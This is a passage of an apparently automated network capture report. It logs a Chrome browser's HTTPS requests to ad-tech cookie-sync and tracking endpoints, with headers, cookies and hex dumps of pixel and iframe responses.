2024-03-28 08:51:31 UTC	431	IN	Data Raw: 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 41 41 2d 56 34 71 4e 78 7a 4c 75 6e 6f 70 42 53 4d 49 4b 75 52 63 46 5a 30 45 42 31 33 4b 6b 6a 7a 44 42 79 5a 6d 72 52 43 46 6c 74 32 59 39 51 47 5f 76 48 30 46 4e 56 39 6c 65 42 61 5f 47 37 4e 38 65 4c 66 48 6b 52 62 52 55 47 2d 35 46 58 50 59 53 57 43 78 32 71 49 51 4b 44 4e 7a 41 43 66 32 6a 72 31 64 41 59 36 71 50 61 6d 42 77 5a 49 37 74 48 30 4d 49 48 72 65 46 66 67 41 46 51 35 63 57 34 74 58 70 62 73 36 51 50 54 65 42 6c 63 79 6e 65 47 67 Data Ascii: null,null,null,null,null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,"AA-V4qNxzLunopBSMIKuRcFZ0EB13KkjzDByZmrRCFlt2Y9QG_vH0FNV9leBa_G7N8eLfHkRbRUG-5FXPYSWCx2qIQKDNzACf2jr1dAY6qPamBwZI7tH0MIHreFfgAFQ5cW4tXpbs6QPTeBlcyneGg
2024-03-28 08:51:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.4	50239	13.32.151.103	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	345	OUT	GET / HTTP/1.1 Host: geo.privacymanager.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:31 UTC	829	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 30 Connection: close Date: Wed, 27 Mar 2024 17:02:30 GMT x-amzn-RequestId: 197734e6-2d37-47dd-998f-e496616c1538 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,Authorization,X-Amz-Date,X-Api-Key,X-Amz-Security-Token x-amz-apigw-id: VTGeFGNBjoEED3w= Access-Control-Allow-Methods: DELETE,GET,HEAD,OPTIONS,PATCH,POST,PUT X-Amzn-Trace-Id: Root=1-66045126-62ceeb341b04a7eb3193f9ea;Parent=46f5a212224436de;Sampled=0;lineage=06620786:0 Via: 1.1 03c28758fe0abb70088fb45c6855d854.cloudfront.net (CloudFront), 1.1 a3cc6ada872dd8799739f0e62dddda7c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD61-P2 X-Cache: Hit from cloudfront X-Amz-Cf-Pop: IAD66-C2 X-Amz-Cf-Id: CIuXPmYRImCF_kto42FaeHyKqBUs5SpVNNRBgedqw3qHlWHyu8_OPQ== Age: 56941
2024-03-28 08:51:31 UTC	30	IN	Data Raw: 7b 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 44 43 22 7d Data Ascii: {"country":"US","region":"DC"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.4	50228	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	794	OUT	GET /usermatchredir?s=184023&gdpr_consent=&gdpr=&gpp=&gpp_sid=&google_gid=CAESEJsyHo98T7DEGuNMD17ZOLk&google_cver=1 HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
2024-03-28 08:51:31 UTC	982	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 86b660fa9b7b8f23-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZgUvi9HM46UAADq7ABhzMwAA; Path=/; Domain=casalemedia.com; Expires=Fri, 28 Mar 2025 08:51:31 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2753; Path=/; Domain=casalemedia.com; Expires=Wed, 26 Jun 2024 08:51:31 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BSWOvUD9gJFd9N28frPLTGg3dTtR3Mc3l7TX2u1shA%2BfmUJmrQKxJaH8ncWlPUG3gyVw0R07DjCggmxU981GDVag%2BQWwK3mBmGzjuCPpTvQl0K3FcZVRlIgwGG4a9vRZFMKd6vjLd248DQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.4	50230	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	710	OUT	GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=7518c174-5949-8965-a9a9-d483e82aed07&dcc=t HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g\|t
2024-03-28 08:51:31 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 28 Mar 2024 08:51:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: TK631J7TSDBAF5Q5CSWW Set-Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 08:51:31 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Apr-2029 08:51:31 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-03-28 08:51:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.4	50250	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	661	OUT	GET /x/ae12848777b41970a5f2?gdpr=0&gdpr_consent= HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g\|t
2024-03-28 08:51:31 UTC	827	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 28 Mar 2024 08:51:31 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 291 Connection: close x-amz-rid: K0ZWVFRA06N6M7SPFWR8 Set-Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 08:51:31 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Apr-2029 08:51:31 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-03-28 08:51:31 UTC	291	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 0a 3c 69 66 72 61 6d 65 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 73 72 63 3d 22 2f 2f 73 2e 61 6d 61 7a 6f 6e 2d 61 64 73 79 73 74 65 6d 2e 63 6f 6d 2f 76 33 2f 70 72 3f 65 78 6c 69 73 74 3d 73 6f 76 72 6e 26 66 76 3d 31 2e 30 26 61 3d 63 6d 26 63 6d 33 70 70 64 3d 31 26 64 6d 74 3d 33 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 64 70 72 3d 30 22 20 73 61 6e 64 62 6f 78 3d 22 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c Data Ascii: <html><body style="background-color:transparent"><iframe width="1" height="1" frameborder="0" marginwidth="0" marginheight="0" src="//s.amazon-adsystem.com/v3/pr?exlist=sovrn&fv=1.0&a=cm&cm3ppd=1&dmt=3&gdpr_consent=&gdpr=0" sandbox="allow-same-origin all

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.4	50225	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	859	OUT	GET /usermatch?d=&s=184674&cb=https%3A%2F%2Fcdn.indexww.com%2Fht%2Fhtw-pixel.gif%3F HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://js-sec.indexww.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
2024-03-28 08:51:31 UTC	994	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Ray: 86b660fb687b0821-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZgUvi9HM46UAADq7ABhzMwAA; Path=/; Domain=casalemedia.com; Expires=Fri, 28 Mar 2025 08:51:31 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2753; Path=/; Domain=casalemedia.com; Expires=Wed, 26 Jun 2024 08:51:31 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KuvFbMnvndy1jhPvgBGSF6wI778A5IViXFTZldnm6rKCdAiwh5xzjnBQYAq1AFLyXCP%2BAWs7U1ilTp84jxYvFzXgIUGQ3mmyHxIdn1%2B%2B7IQvkewG%2FHQ9rizV3AmIncOgxJoH96GRbZv4yw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:31 UTC	375	IN	Data Raw: 37 30 39 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 72 72 75 6d 3f 69 78 69 3d 31 26 61 6d 70 3b 63 6d 5f 64 73 70 5f 69 64 3d 38 35 26 61 6d 70 3b 63 62 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 25 32 46 70 69 78 65 6c 25 33 46 67 6f 6f 67 6c 65 5f 6e 69 64 25 33 44 63 61 73 61 6c 65 5f 6d 65 64 69 61 32 5f 64 62 6d 25 32 36 67 6f 6f 67 6c 65 5f 63 6d 25 32 36 67 6f 6f 67 6c 65 5f 73 63 25 32 36 67 6f 6f 67 6c 65 5f 68 6d 25 33 44 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e Data Ascii: 709<html><head><title></title></head><body><img src="https://dsum-sec.casalemedia.com/rrum?ixi=1&cm_dsp_id=85&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dbm%26google_cm%26google_sc%26google_hm%3D" style="display:n
2024-03-28 08:51:31 UTC	1369	IN	Data Raw: 43 73 45 41 41 41 49 42 3f 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 75 73 5f 70 72 69 76 61 63 79 3d 26 61 6d 70 3b 67 64 70 72 3d 26 61 6d 70 3b 67 70 70 3d 26 61 6d 70 3b 67 70 70 5f 73 69 64 3d 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 20 77 69 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 61 6c 74 3d 22 22 20 62 6f 72 64 65 72 3d 22 30 22 20 2f 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 2e 61 64 6e 78 73 2e 63 6f 6d 2f 67 65 74 75 69 64 3f 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 63 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 34 36 26 61 6d 70 3b 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 24 55 49 44 22 20 73 Data Ascii: CsEAAAIB?gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid=" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://secure.adnxs.com/getuid?https://dsum-sec.casalemedia.com/crum?cm_dsp_id=46&external_user_id=$UID" s
2024-03-28 08:51:31 UTC	64	IN	Data Raw: 3a 6e 6f 6e 65 22 20 77 69 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 61 6c 74 3d 22 22 20 62 6f 72 64 65 72 3d 22 30 22 20 2f 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: :none" width="0" height="0" alt="" border="0" /></body></html>
2024-03-28 08:51:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.4	50227	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	1017	OUT	GET /w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; pd=v2\|1711615884\|vMgavPkWgyiK; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557
2024-03-28 08:51:32 UTC	637	IN	HTTP/1.1 200 OK Vary: Accept, Accept-Encoding Set-Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; Version=1; Expires=Fri, 28-Mar-2025 08:51:31 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Set-Cookie: pd=v2\|1711615884.7\|iKvPvMgakWgy.bwuYhEgKg2f8; Version=1; Expires=Fri, 12-Apr-2024 08:51:31 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Date: Thu, 28 Mar 2024 08:51:31 GMT Content-Type: text/html Content-Length: 909 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:32 UTC	909	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 3e 69 66 28 22 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 66 65 61 74 75 72 65 50 6f 6c 69 63 79 2e 61 6c 6c 6f 77 73 46 65 61 74 75 72 65 28 22 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 22 29 29 64 6f 63 75 6d 65 6e 74 2e 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 28 29 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2e 6c 69 6a 69 74 2e 63 6f 6d 2f 6d 65 72 67 65 3f 70 69 64 3d 37 36 26 33 70 69 64 3d 34 31 32 30 36 33 63 39 2d 61 66 35 37 2d 30 38 39 32 2d 32 65 31 62 2d 65 Data Ascii: <html><head><title>Pixels</title></head><body><script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script><img src="https://ce.lijit.com/merge?pid=76&3pid=412063c9-af57-0892-2e1b-e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.4	50233	20.101.38.191	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	919	OUT	GET /cm?sid=1011&pv=MEDIAMATH&eid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&rt=img&rnd=436232701635 HTTP/1.1 Host: trz.neodatagroup.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pixel.mathtag.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cProfile=AQMdCINwxgW/AAAAAAAEAAABjpjbKGMAB2RlZmF1bHQ=; cP=AT8DHQiDcMYFvwAAAAABs0lT; cOptout=0\|yocToken:7AdUuQDnS44iVs6ZYu1ohLMYeJE; tr=loCAwIGjVEREzmYGgRGAgdoANDMxZDA4ODM3MGM2MDViZl9hMTA5ZGM2MC1kYzdjLTQ1ZTUtYWI1My1lMjQ0OGE1MzQyMGbOZgUvkQ==
2024-03-28 08:51:32 UTC	1670	IN	HTTP/1.1 200 Date: Thu, 28 Mar 2024 08:51:31 GMT Content-Type: image/gif;charset=UTF-8 Content-Length: 1 Connection: close P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"; policyref="/ad/w3c/p3p.xml" Access-Control-Allow-Origin: * Set-Cookie: cP=AT8DHQiDcMYFvwAAAAABs0lU; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:31 GMT; Set-Cookie: tr=loCAwIKjVEREzmYGgRGpTUVESUFNQVRIAICC2gA0MzFkMDg4MzcwYzYwNWJmX2UzN2Q2NjA1LTJmOGItNGEwMC04YzY1LTdiNmY5NTg4NmEyNs5mBS+T2gA0MzFkMDg4MzcwYzYwNWJmX2ExMDlkYzYwLWRjN2MtNDVlNS1hYjUzLWUyNDQ4YTUzNDIwZs5mBS+R; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:31 GMT; Set-Cookie: tr=loCAwIKjVEREzmYGgRGpTUVESUFNQVRIAICC2gA0MzFkMDg4MzcwYzYwNWJmX2UzN2Q2NjA1LTJmOGItNGEwMC04YzY1LTdiNmY5NTg4NmEyNs5mBS+T2gA0MzFkMDg4MzcwYzYwNWJmX2ExMDlkYzYwLWRjN2MtNDVlNS1hYjUzLWUyNDQ4YTUzNDIwZs5mBS+R; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:31 GMT; Set-Cookie: tr=loCAwIKjVEREzmYGgRGpTUVESUFNQVRIAICC2gA0MzFkMDg4MzcwYzYwNWJmX2UzN2Q2NjA1LTJmOGItNGEwMC04YzY1LTdiNmY5NTg4NmEyNs5mBS+T2gA0MzFkMDg4MzcwYzYwNWJmX2ExMDlkYzYwLWRjN2MtNDVlNS1hYjUzLWUyNDQ4YTUzNDIwZs5mBS+R; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:31 GMT; Set-Cookie: tr=loCAwIKjVEREzmYGgRGpTUVESUFNQVRIzmYGgROAgtoANDMxZDA4ODM3MGM2MDViZl9lMzdkNjYwNS0yZjhiLTRhMDAtOGM2NS03YjZmOTU4ODZhMjbOZgUvk9oANDMxZDA4ODM3MGM2MDViZl9hMTA5ZGM2MC1kYzdjLTQ1ZTUtYWI1My1lMjQ0OGE1MzQyMGbOZgUvkQ==; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:31 GMT;
2024-03-28 08:51:32 UTC	1	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.4	50257	192.0.78.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	625	OUT	GET /rest/v1/sites/123231640/posts/95325/likes?http_envelope=1&chronological=true HTTP/1.1 Host: public-api.wordpress.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://public-api.wordpress.com/wp-admin/rest-proxy/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:31 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Host-Header: WordPress.com X-hacker: Oh, Awesome: Opossum Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-ac: 2.dca _dca BYPASS Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=86400
2024-03-28 08:51:32 UTC	184	IN	Data Raw: 61 64 0d 0a 7b 22 63 6f 64 65 22 3a 32 30 30 2c 22 68 65 61 64 65 72 73 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 2c 22 76 61 6c 75 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 5c 2f 6a 73 6f 6e 22 7d 5d 2c 22 62 6f 64 79 22 3a 7b 22 66 6f 75 6e 64 22 3a 30 2c 22 69 5f 6c 69 6b 65 22 3a 66 61 6c 73 65 2c 22 63 61 6e 5f 6c 69 6b 65 22 3a 74 72 75 65 2c 22 73 69 74 65 5f 49 44 22 3a 31 32 33 32 33 31 36 34 30 2c 22 70 6f 73 74 5f 49 44 22 3a 39 35 33 32 35 2c 22 6c 69 6b 65 73 22 3a 5b 5d 7d 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: ad{"code":200,"headers":[{"name":"Content-Type","value":"application\/json"}],"body":{"found":0,"i_like":false,"can_like":true,"site_ID":123231640,"post_ID":95325,"likes":[]}}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.4	50226	216.200.232.249	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
